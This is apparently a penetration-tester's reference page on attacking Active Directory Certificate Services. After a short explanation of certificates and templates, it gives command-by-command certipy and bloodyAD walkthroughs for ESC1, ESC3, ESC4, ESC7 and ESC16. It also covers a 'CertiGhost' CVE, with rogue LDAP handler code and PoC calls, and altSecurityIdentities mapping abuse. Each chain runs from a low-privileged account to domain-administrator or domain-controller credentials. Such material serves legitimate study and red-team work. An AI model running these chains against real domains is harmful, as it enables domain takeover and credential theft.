ADCS - Active Directory Certificate Services
Active Directory Certificate Services (ADCS) is a Microsoft server role that provides customizable services for creating and managing public key certificates used in software security systems.
Overview
Active Directory Certificate Services (ADCS) is a Microsoft server role that provides customizable services for creating and managing public key certificates used in software security systems. It is part of the Windows Server operating system and is used to create a public key infrastructure (PKI) that can be used to secure communications, authenticate users, and encrypt data.
ADCS allows organizations to issue and manage digital certificates, which are used to verify the identity of users, devices, and services.
ADCS Terms
Certificates
A digital certificate is an electronic document used to prove the ownership of a public key. It contains information about the key, the identity of its owner (the subject), and the digital signature of an entity that has verified the certificate’s contents, usually a trusted third party known as a Certificate Authority (CA).
It is a X-509-formatted file that contains the following information:
- Subject: The entity that the certificate represents (e.g., a user, device, or service).
- Public Key: The public key associated with the subject.
- Not Before and Not After: The validity period of the certificate.
- Issuer: The entity that issued the certificate (usually a CA).
- Serial Number: A unique identifier for the certificate.
- Subject Alternative Name (SAN): Additional identities associated with the certificate (e.g., DNS names, IP addresses).
- Basic Constraints: Indicates whether the certificate can be used as a CA certificate or an end-entity certificate.
- Extended Key Usage: Specifies the purposes for which the certificate can be used (e.g., server authentication, client authentication, code signing).
- Signature Algorithm: The algorithm used to sign the certificate.
Certificate Authority (CA)
A Certificate Authority (CA) is a trusted entity that issues digital certificates. The CA verifies the identity of the entity requesting the certificate and signs the certificate with its private key. This process ensures that the certificate can be trusted by other entities.
The root CA certificate is the top-level certificate in a certificate hierarchy. It is self-signed and serves as the trust anchor for all other certificates issued by the CA.
ADCS stores trusted root CA in four locations under the container CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com:
Certification Authorities container: Defines top-tier root CA certificatesEnrolment Services container: Encapsulates key attributes such as pKIEnrollmentService objectClass, cACertificate data, dNSHostName and certificateTemplatesNTAuthCertificates AD object: Contains cACertificate properties defining a series of trusted CA certificatesAIA (Authority Information Access) container: Aids in validating certificate chains
Certificate Templates
Certificate templates are used to establish certificate properties and settings for different types of certificates, that include enrolment policies, key usage, and security settings. They define the attributes and constraints of the certificates issued by a CA.
ADCS Attacks
ESC1 (Enrolee-Supplied Subject for Client Authentication)
The ESC1 attack is a method used to exploit the Active Directory Certificate Services (ADCS) to issue certificates for any user or computer account in the domain. This attack takes advantage of a misconfiguration in the certificate template that allows low-privileged users to request certificates with an arbitrary identity within the certificate’s SAN (Subject Alternative Name) field. This can lead to privilege escalation by allowing an attacker to obtain a certificate for a high-privileged account, such as a domain administrator, and then use that certificate to authenticate to the domain.
ESC1 Requirements
ESC1 is created by the following conditions:
- Enrolee Supplies Subject: The certificate template must allow the enrolee to specify the subject name by having the flag
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTset (“Supply in the request” option under the “Subject Name” tab). With this enabled, the user specifies the subject name when requesting a certificate, not the AD. - Authentication EKU: The certificate template must include an EKU that permits client authentication, such as “Client Authentication” (OID 1.3.6.1.5.5.7.3.2), “Smart Card Logon” (OID 1.3.6.1.4.1.311.20.2.2), “PKINIT Client Authentication” (OID 1.3.6.1.5.2.3.4), or the overly permissive “Any Purpose” (OID 2.5.29.37.0)
- Permissive Enroollment Permissions: The user must have permissions to enroll in the certificate template, which can be granted through the
EnrollorAutoenrollpermissions on the template. - No Effective Security Gates: The certificate template does not enforce manager approval nor requires authorized signatures.
ESC1 Steps
Enumeration
1
certipy find -u 'mhijuxs@sw4.local' -p 'Password123!' -dc-ip <DC-IP> -vulnerable -stdout
Command breakdown:
certipy find: Find vulnerable certificate templates-u: User to authenticate as-p: Password for the user-dc-ip: IP address of the domain controller-vulnerable: Output only vulnerable certificate templates-stdout: Output to standard output
Requesting Certificate
1
certipy req -u 'mhijuxs@sw4.local' -p 'Password123!' -dc-ip <DC-IP> -ca <CA> -template <VulnerableTemplate> -upn <TargetUser>
Authenticating with the Certificate
1
certipy auth -pfx <Certificate.pfx> -user <TargetUser> -dc-ip <DC-IP>
After that, we receive a TGT and the user’s NTLM hash.
ESC3 (Enrollment Agent Certificate)
The ESC3 attack abuses a certificate template that grants the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1). A certificate carrying this EKU turns its holder into an enrollment agent, an identity that Active Directory trusts to request certificates on behalf of other users. If a low-privileged user is allowed to enroll in such a template, they can obtain the agent certificate and then use it to request a client-authentication certificate for any user, such as a domain administrator, and authenticate as that user.
Unlike ESC1, the attacker never supplies an arbitrary SAN. The privilege comes from the second request being signed by an enrollment agent, which the CA accepts as authorization to enroll for someone else.
ESC3 Requirements
The attack chains two templates:
- Agent template: a template with the
Certificate Request AgentEKU that the attacker is allowed to enroll in. This yields the enrollment agent certificate. - Target template: a template that has a client authentication EKU (for example the default
Usertemplate), that the intended victim can enroll in, and where the CA and template do not restrict which enrollment agents may act or for which users (no enrollment-agent restrictions, andAuthorized Signatures Requiredsatisfied by a single Certificate Request Agent signature).
ESC3 Exploitation
Enumerate (certipy flags the template with
ESC3and theCertificate Request AgentEKU)1
certipy find -u 'user@domain' -p 'password' -dc-ip <DC-IP> -vulnerable -stdout
Request the enrollment agent certificate from the agent template
1 2 3 4
certipy req \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -target 'CA.domain' \ -ca 'Domain-CA' -template 'EnrollmentAgentTemplate'
This writes an agent
.pfxbelonging to our user.Request a certificate on behalf of a privileged user, signing the request with the agent certificate
1 2 3 4 5
certipy req \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -target 'CA.domain' \ -ca 'Domain-CA' -template 'User' \ -pfx 'agent.pfx' -on-behalf-of 'DOMAIN\administrator'
-on-behalf-oftakes theNETBIOS\userform of the target. The-pfxis the agent certificate from step 2, which is what supplies the Certificate Request Agent signature.Authenticate with the resulting certificate
1
certipy auth -pfx 'administrator.pfx' -dc-ip <DC-IP>
We receive the target’s
TGTandNTLMhash.
ESC4 (Template Hijacking)
Occurs when we have permission to modify a certificate template, allowing us to add a new template or modify an existing one. This can lead to the issuance of certificates for any user or computer account in the domain.
By default, only high privileged users can modify certificate templates, but a misconfiguration can allow low-privileged users to modify them.
ESC4 Requirements
If a user has FullControl, WriteDacl, WriteOwner or write property rights on attributes like msPKI-Enrollment-Flag, msPKI-Certificate-Name-Flag, pKIExtendedKeyUsage, nTSecurityDescriptor, they are likely to be able to modify the template.
ESC4 Exploitation
Enumerate Certificate Templates
1
certipy find -u 'user@domain' -p 'Password' -vulnerable -stdout
Modify the Template
Certipy allows us to modify the template to a known vulnerable configuration. This can be done by writing a default configuration that allows low-privileged users to request certificates for any user, like the
ESC1attack.1 2 3 4
certipy template \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -template 'VulnerableTemplate' \ -write-default-configuration
After that, if we enumerate the vulnerable templates once more, you will see that the template is now vulnerable to an
ESC1attack.Request a Certificate
1 2 3 4 5
certipy req \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -target 'TARGET FQDN' \ -ca 'Domain CA' -template 'VulnerableTemplate' \ -upn 'administrator@domain'
Authenticate with the Certificate
1 2 3
certipy auth \ -pfx <Certificate.pfx> \ -dc-ip <DC-IP>
ESC7 (Vulnerable CA Access Control)
ESC7 is a misconfiguration on the CA itself rather than on a template. Two CA access rights matter:
- ManageCA (CA Administrator): can change CA configuration, enable disabled templates, add or remove certificate managers (officers), and toggle CA-wide flags such as
EDITF_ATTRIBUTESUBJECTALTNAME2(which turns the CA into ESC6). - ManageCertificates (Certificate Manager / officer): can approve pending or denied certificate requests.
Neither right, on its own, is “issue me a domain admin certificate”. The attack is composing them: a principal holding only ManageCA first grants itself the officer role, then approves a request it was not allowed to enroll for. The canonical route uses the built-in SubCA template, which permits an arbitrary SAN but by default only Domain/Enterprise Admins can enroll, so our request is denied and then force-issued.
ESC7 Requirements
ManageCAover the target CA (optionallyManageCertificatesas well, which lets you skip the add-officer step).
ESC7 Exploitation
Enumerate (certipy flags the CA with
ESC7 : User has dangerous permissions)1
certipy find -u 'user@domain' -p 'password' -dc-ip <DC-IP> -vulnerable -stdout
Add yourself as an officer (grants
ManageCertificates)1 2 3 4
certipy ca \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -ca 'Domain-CA' \ -add-officer 'user'
Enable the
SubCAtemplate on the CA (it allows an arbitrary SAN)1 2 3 4
certipy ca \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -ca 'Domain-CA' \ -enable-template 'SubCA'
Request a certificate for a privileged user via
SubCA. Enrollment is denied (we are not a Domain Admin), but certipy saves the request ID and the private key.1 2 3 4
certipy req \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -ca 'Domain-CA' -template 'SubCA' \ -upn 'administrator@domain' -sid '<ADMIN-SID>'
Approve your own denied request using the officer role from step 2
1 2 3 4
certipy ca \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -ca 'Domain-CA' \ -issue-request <REQUEST-ID>
Retrieve the now-issued certificate, pairing it with the saved key
1 2 3 4
certipy req \ -u 'user@domain' -p 'password' \ -dc-ip <DC-IP> -ca 'Domain-CA' \ -retrieve <REQUEST-ID>
Authenticate with the certificate
1
certipy auth -pfx 'administrator.pfx' -dc-ip <DC-IP>
If the CA’s RPC and web-enrollment endpoints are filtered, certipy’s
caandreqmanagement calls will time out. Add-ldap-scheme ldapto drive the CA operations over LDAP instead of the default DCOM/RPC transport.
ESC16 (Security Extension Disabled on CA)
Is identical to the mechanism used in ESC9 attacks, where the end result is a certificate lacking the SID security extension, the difference is that in this case, any certificate template enabling client authentication can be used in the UPN manipulation attack.
If we are an attacker with GenericWrite permissions over the victim account, and this account can enroll in any client authentication template, we can request a certificate for the victim account with a UPN of our choice.
ESC16 Exploitation
Read UPN of the Victim Account (Reference for step 5)
1 2 3 4
certipy account \ -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \ -dc-ip '<DC-IP>' -user 'victim' \ read
Update UPN of the Victim Account: Update the
UPNof the victim account to a value that we control, such asadministrator.1 2 3 4
certipy account \ -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \ -dc-ip '<DC-IP>' -upn 'administrator' \ -user 'victim' update
Obtain credentials for the Victim Account: (Can be skipped if already known)
1 2 3 4
certipy shadow \ -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \ -dc-ip '<DC-IP>' -account 'victim' \ auto
Request a Certificate for the Victim Account
4.1. Set kerberos credential cache (KRB5CCNAME)
1 2 3
```bash export KRB5CCNAME=victim.ccache ```
4.2. Request the certificate from any client authentication template (by default the ‘User’ template)
1 2 3 4 5 6
```bash certipy req \ -k -dc-ip '<DC-IP>' \ -target 'CA.<DOMAIN>' -ca 'CORP-CA' \ -template 'User' ```Revert UPN of the Victim Account
1 2 3 4
certipy account \ -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \ -dc-ip '<DC-IP>' -upn 'victim@<DOMAIN>' \ -user 'victim' update
Authenticate with the Certificate
1 2 3
certipy auth \ -dc-ip '<DC-IP>' -pfx 'administrator.pfx' \ -username 'administrator' -domain '<DOMAIN>'
CertiGhost (CVE-2026-54121)
Every ESC above is a misconfiguration: a template that lets the enrollee choose the subject, a CA that honours request SANs, a DACL that should not be there. CertiGhost is not. It works against a default Machine template on a correctly configured CA, and the defect is in how the CA resolves the requester’s identity.
The cdc chase
When a template builds its subject from the directory rather than from the request (the SubjectAltRequireDns / SubjectRequireDnsAsCn name flags, nameFlag & 0x58000000), the CA cannot take the name from the CSR. It has to ask a Domain Controller “who is this requester, and what is its dNSHostName?”, then stamp the answer into the certificate.
MS-WCCE lets the client attach request attributes alongside the CSR. Four are relevant:
| Attribute | Meaning |
|---|---|
CertificateTemplate | Which template to issue from |
cdc | Which DC the CA should use for the lookup |
rmd | The requester machine’s DNS name |
SAN | Requested subject alternative name |
The vulnerability is that the CA honours a caller-supplied cdc. Point it at a host you control and the CA performs its identity lookup against your LDAP server instead of against a real Domain Controller. The directory answer is the certificate’s identity, so whoever answers decides who the certificate belongs to.
Attack flow
- Authenticate to the CA’s
ICertPassageRPC interface (\pipe\cert, falling back toncacn_ip_tcpvia the endpoint mapper) as a computer account. - Stand up two rogue listeners on the attacking host: an SMB/LSA server on 445 and an LDAP server on 389.
- Submit the CSR with
cdc:<attacker-ip>andrmd:<target DC DNS name>. - The CA connects back to those listeners. The rogue SMB server validates the CA’s inbound authentication by passing it through to the real DC over Netlogon, so from the CA’s point of view the session is genuinely authenticated. The rogue LDAP server then answers the identity lookup with the target DC’s
sAMAccountName,objectSidanddNSHostNameinstead of the requester’s. - The CA builds and signs a certificate for
DC01$. - PKINIT with that certificate returns
DC01$’s TGT and NT hash, which is a DCSync.
The substitution is a handful of lines in the rogue LDAP handler, which returns the target’s identity for whatever principal the CA asks about:
1
2
3
4
5
6
7
def _principal(self, sam):
return {"objectClass":["top","person","organizationalPerson","user","computer"],
"cn":[self.ecn or sam.rstrip("$")], "sAMAccountName":[self.esam or sam],
"objectSid":[self.tsid], "objectGUID":[b"\x00"*16], "userAccountControl":["66048"],
"objectCategory":[f"CN=Computer,CN=Schema,CN=Configuration,{self.dn}"],
"dNSHostName":[self.edns],
"servicePrincipalName":[f"HOST/{self.edns}", f"HOST/{self.ecn or self._hnb}"]}
Requirements
- Any computer account. The requester must be a machine account, because the
Machinetemplate’s enrollment rights are granted toDomain Computers. - Ports 445 and 389 free on the attacking host, since the CA connects back to them. A local Samba or
slapdalready bound will make the callback fail and the request will be denied with a generic0x800706ba. - A template whose name flags trigger the lookup.
Machineis the default choice; templates that do not build the subject from AD never perform the chase.
Getting a computer account when MachineAccountQuota is 0
The PoC creates a throwaway GHOSTxxxxxxxx$ by default, which needs a non-zero quota. MachineAccountQuota: 0 does not close the attack, it only means you must bring your own machine identity:
1
2
# an existing computer account you already control, by password or NT hash
sudo python3 certighost.py -d '<DOMAIN>' --computer-name 'WS01$' --computer-hash ':<nthash>'
1
2
3
# or a gMSA you can read: no secret needed, the tool derives the hash from
# msDS-ManagedPassword itself
sudo python3 certighost.py -d '<DOMAIN>' -u '<user>' -p '<pass>' --gmsa 'SVC_SQL$'
Root on any domain-joined host is a machine account (/etc/krb5.keytab on Linux, LSA secrets on Windows), and a gMSA sits in Domain Computers by default, so the read right on one is enough.
This is the general lesson about
MachineAccountQuota: 0. It is a good hardening default and it genuinely closesCertifried(CVE-2022-26923),sAMAccountNamespoofing, and RBCD from a fresh account. It does nothing once you already hold any machine account’s secret. Treat it as raising the cost of a class of attacks, never as removing the class.
Why no template hardening helps
Nothing in this chain is an enrollee-supplied subject, an EDITF_ATTRIBUTESUBJECTALTNAME2 flag, or a loose template DACL. The CA does exactly what it was designed to do; it simply asked an attacker-controlled directory who the requester was and believed the answer. The fix is the patch. Compensating controls are limited to network position (the CA should not be making outbound LDAP/SMB connections to arbitrary hosts) and to monitoring certificate issuance for DC identities that nobody requested.
Certificate Mapping and altSecurityIdentities
When a client authenticates with a certificate (PKINIT, or LDAPS/Schannel client auth), the KDC has to decide which account that certificate represents. There are two mechanisms.
Implicit mapping reads the identity out of the certificate itself, normally a UPN in the Subject Alternative Name, or the szOID_NTDS_CA_SECURITY_EXT SID security extension that modern CAs stamp into every issued certificate.
Explicit mapping ignores the certificate’s own claim about who it belongs to and looks for an account whose multi-valued altSecurityIdentities attribute contains a string describing that certificate. This is the supported way to bind an externally issued certificate (a smartcard from a partner PKI, for example) to a domain account.
Strong and weak mapping types
KB5014754 split the explicit mapping strings into strong and weak forms, and Full Enforcement mode rejects the weak ones. The difference is whether the string pins something the CA cannot re-issue under a different key:
| Mapping string | Pins | Strength |
|---|---|---|
X509IssuerSerialNumber | Issuer DN plus certificate serial | Strong |
X509SKI | Subject Key Identifier | Strong |
X509SHA1PublicKey | SHA1 of the public key | Strong |
X509IssuerSubject | Issuer DN plus subject DN | Weak |
X509SubjectOnly | Subject DN | Weak |
X509RFC822 | RFC822 name (email address) | Weak |
Abusing a write on altSecurityIdentities
Any principal holding WriteProperty on altSecurityIdentities (directly, or through GenericAll / GenericWrite) can declare that an arbitrary certificate belongs to the target account. Combined with any certificate the attacker can legitimately obtain from the enterprise CA, this is a full account takeover, and it works even against templates that are not vulnerable to any ESC: the certificate never needs to name the victim, because the directory does that instead.
The attack does not touch the password, does not change group membership, and produces no password-reset event. The mapping simply sits in the attribute until somebody audits it.
Exploitation with the X509IssuerSerialNumber form:
Obtain any client-authentication certificate. It can be a certificate for the attacker’s own account from a completely benign template.
1 2
certipy req -u 'attacker@<DOMAIN>' -p 'Passw0rd!' \ -target 'CA.<DOMAIN>' -ca 'CORP-CA' -template 'User'
Read the issuer and serial number off it.
1 2
certipy cert -pfx attacker.pfx -out attacker.crt openssl x509 -in attacker.crt -noout -issuer -serial
Build the mapping string. The format is
X509:<I>{issuer}<SR>{serial}. The serial has to be written in reverse byte order relative to howopensslprints it, matchingcertutil’s rendering:1 2 3
issuer = "DC=local,DC=corp,CN=CORP-CA" serial = "".join("4d:00:00:00:3d:da:7a:59".split(":")[::-1]) print("X509:<I>" + issuer + "<SR>" + serial)
Write it onto the victim.
1 2 3
bloodyAD -u 'attacker' -p 'Passw0rd!' -d '<DOMAIN>' --host '<DC>' \ set object victim altSecurityIdentities \ -v 'X509:<I>DC=local,DC=corp,CN=CORP-CA<SR><reversed-serial>' --raw
Authenticate as the victim with the attacker’s certificate. Certipy will report that it cannot find an identity inside the certificate, which is expected: the identity comes from the directory.
1
certipy auth -pfx attacker.pfx -dc-ip '<DC-IP>' -username 'victim' -domain '<DOMAIN>'
Audit
altSecurityIdentitiesthe way you audit group membership. A single string in one attribute is equivalent to handing out the account’s credentials, it survives password rotation, and no standard “who can reset whose password” report will surface it.